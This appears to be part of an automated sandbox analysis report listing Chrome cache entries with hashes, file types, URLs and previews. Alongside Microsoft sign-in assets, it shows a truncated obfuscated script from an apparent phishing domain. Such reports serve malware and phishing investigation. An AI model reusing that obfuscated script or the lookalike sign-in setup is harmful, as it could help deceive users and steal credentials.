Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	dropped
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Reputation:	low
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Reputation:	low
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	dropped
Size (bytes):	113459
Entropy (8bit):	3.8705321549285747
Encrypted:	false
SSDEEP:	768:Beca3V/m1M2m2PXSoJTNpZXPOV2pzkkqCU63:BlGRQM2m2HJh/GVszkkFU
MD5:	1DB747255C64A30F9236E9D929E986CA
SHA1:	384023452346AA087D40C93C23CA2F5E32FF1B1F
SHA-256:	88BAF40FEB43463A8F6AA6543E88BDBE33F0DB9A317486E786EEE1E5C76A9544
SHA-512:	05D654610EBF0C5DE4CE828923C63E21D3164F4AEBCEC5DB2415BE23BD6965A50F5506EC8772C4624FAE266944A9CC596947D3C061F0F9602633103238C64267
Malicious:	false
Reputation:	low
Preview:	............ .-,..v......... .(....,..@@.... .(B...4..00.... ..%...v.. .... ............... .....C......... .h.......PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y`T....O23I&{ +K...$l.....U..Z[E.Vk[.m..Z....Z[.l..j.=a. ...H..,d.L&.}}.?b(*..7o...3..&..}.s.9...2...!"Q..... .D............ ."."..B....7....R..\..@......~....R.....2.............. ."."..B.C..@.`.........!.!.@ D0D......r....G....`.................#........\|.5.....y..,...?.(..W!.X!..`OC..[.'.1.U5..e...D.. S"..P\|.5.1.>?6.4....Ax..0...zV.!..&b....V....v.jG....X...D........Ea]U.k...B.A....x..c.A.D...y\|8.lau..N+j.zY..@......'.......8..R'"..........DX.uXq.?6..K9..@.D..,!.BI.7..ewcOC..7f.+.Y.n<W\|...>....5v......U........P..^.....8.x.A....._Z....l.A6.4c.{......@.6......A6....g.,E...0....%......s..........T..;.B....~...<...ZmNV...r...\|.F....-X......h...w>.a..m@...d...y.\.\|..n.........(\|i..]...Y..u.]8.aea....1....>....[....j.omDu'...!2.T.(.x...q........V.c.k..M.`.S...K86...]..~.E..

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	low
URL:	https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.190260390968384
Encrypted:	false
SSDEEP:	3:OnuZoS+NT/ZoS8/ZYn:OnuZoSyT/ZoS8/ZYn
MD5:	09BDE5D10D92DEBBB74AE9C3DF3AECAB
SHA1:	2F4EEA05E85C26DE82C5E7CBA471687EC8D855EC
SHA-256:	F67F67274C88240DE01FA51D483271F58A5752B607B13DEE041C7A0671290E7F
SHA-512:	0FF4A460BC9068E61B6EEC0078E97F2AD0DCD12288E8161688351C3BB85A87D624E5B7635C47ED1B5B93C6D3B4A29A756A75A897394B4E6A3986BBB1762CFC6C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISJQnXyrzfjOo6YhIFDZFhlU4SBQ01hlQcEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	CiQKBw2RYZVOGgAKBw01hlQcGgAKBw2RYZVOGgAKBw2RYZVOGgA=

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64593)
Category:	downloaded
Size (bytes):	100217
Entropy (8bit):	4.516887791126109
Encrypted:	false
SSDEEP:	1536:ib8J+apQ3jx2wtA4+eS6e6+mitQT3TLJCLaRlAq:ix2wtA4+eS6e6+XE3TLJCLIlAq
MD5:	57B032180AFEBEB7A6C31D0A7F35C47A
SHA1:	E6C8EE94D3A447EF0B81A1F406AA7F2907CBC798
SHA-256:	DB290E0F0161B9962787FA22C846F5D53BEBCD5B46B77837AF5048C09981A7BB
SHA-512:	0A059C64899F0A20FE9EDF7A94E9F0FE76775B7DED8703140CF5D309D87643575E1F98C4020862270A44D679170CDD9B061B7C924CAE7D7B7B5DFE3F66A6F269
Malicious:	false
Reputation:	low
URL:	https://chiquitzinbb.com/o/jsnom.js
Preview:	function _0x1fae(_0x34ba19, _0x598b18) { const _0x59eb05 = _0x59eb(); return _0x1fae = function(_0x1fae59, _0x391fd5) { _0x1fae59 = _0x1fae59 - 0xea; let _0xcbc169 = _0x59eb05[_0x1fae59]; return _0xcbc169; }, _0x1fae(_0x34ba19, _0x598b18); }(function(_0x3ed08f, _0x56c8b3) {. const _0x2019c0 = _0x1fae,. _0x43cc63 = _0x3ed08f();. while (!![]) {. try {. const _0x262285 = parseInt(_0x2019c0(0x121)) / 0x1 + -parseInt(_0x2019c0(0x170)) / 0x2 + -parseInt(_0x2019c0(0x14b)) / 0x3 + -parseInt(_0x2019c0(0x14d)) / 0x4 + -parseInt(_0x2019c0(0x14c)) / 0x5 + -parseInt(_0x2019c0(0x118)) / 0x6 + parseInt(_0x2019c0(0x171)) / 0x7;. if (_0x262285 === _0x56c8b3) break;. else _0x43cc63['push'](_0x43cc63['shift']());. } catch (_0x3070ea) { _0x43cc63['push'](_0x43cc63['shift']()); }. }.}(_0x59eb, 0x27508), window['addEventListener']('load', function() {. const _0x1706f4 = _0x1fae;. document[_0x1706f4(0x166)][_0x1706f4(0x102)](_0x1706f4(0x151

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	downloaded
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 7 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -128x-128, 32 bits/pixel
Category:	downloaded
Size (bytes):	113459
Entropy (8bit):	3.8705321549285747
Encrypted:	false
SSDEEP:	768:Beca3V/m1M2m2PXSoJTNpZXPOV2pzkkqCU63:BlGRQM2m2HJh/GVszkkFU
MD5:	1DB747255C64A30F9236E9D929E986CA
SHA1:	384023452346AA087D40C93C23CA2F5E32FF1B1F
SHA-256:	88BAF40FEB43463A8F6AA6543E88BDBE33F0DB9A317486E786EEE1E5C76A9544
SHA-512:	05D654610EBF0C5DE4CE828923C63E21D3164F4AEBCEC5DB2415BE23BD6965A50F5506EC8772C4624FAE266944A9CC596947D3C061F0F9602633103238C64267
Malicious:	false
Reputation:	low
URL:	https://chiquitzinbb.com/favicon.ico
Preview:	............ .-,..v......... .(....,..@@.... .(B...4..00.... ..%...v.. .... ............... .....C......... .h.......PNG........IHDR.............\r.f....pHYs..........o.d.. .IDATx..y`T....O23I&{ +K...$l.....U..Z[E.Vk[.m..Z....Z[.l..j.=a. ...H..,d.L&.}}.?b(*..7o...3..&..}.s.9...2...!"Q..... .D............ ."."..B....7....R..\..@......~....R.....2.............. ."."..B.C..@.`.........!.!.@ D0D......r....G....`.................#........\|.5.....y..,...?.(..W!.X!..`OC..[.'.1.U5..e...D.. S"..P\|.5.1.>?6.4....Ax..0...zV.!..&b....V....v.jG....X...D........Ea]U.k...B.A....x..c.A.D...y\|8.lau..N+j.zY..@......'.......8..R'"..........DX.uXq.?6..K9..@.D..,!.BI.7..ewcOC..7f.+.Y.n<W\|...>....5v......U........P..^.....8.x.A....._Z....l.A6.4c.{......@.6......A6....g.,E...0....%......s..........T..;.B....~...<...ZmNV...r...\|.F....-X......h...w>.a..m@...d...y.\.\|..n.........(\|i..]...Y..u.]8.aea....1....>....[....j.omDu'...!2.T.(.x...q........V.c.k..M.`.S...K86...]..~.E..

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text
Category:	downloaded
Size (bytes):	23427
Entropy (8bit):	5.112735417225198
Encrypted:	false
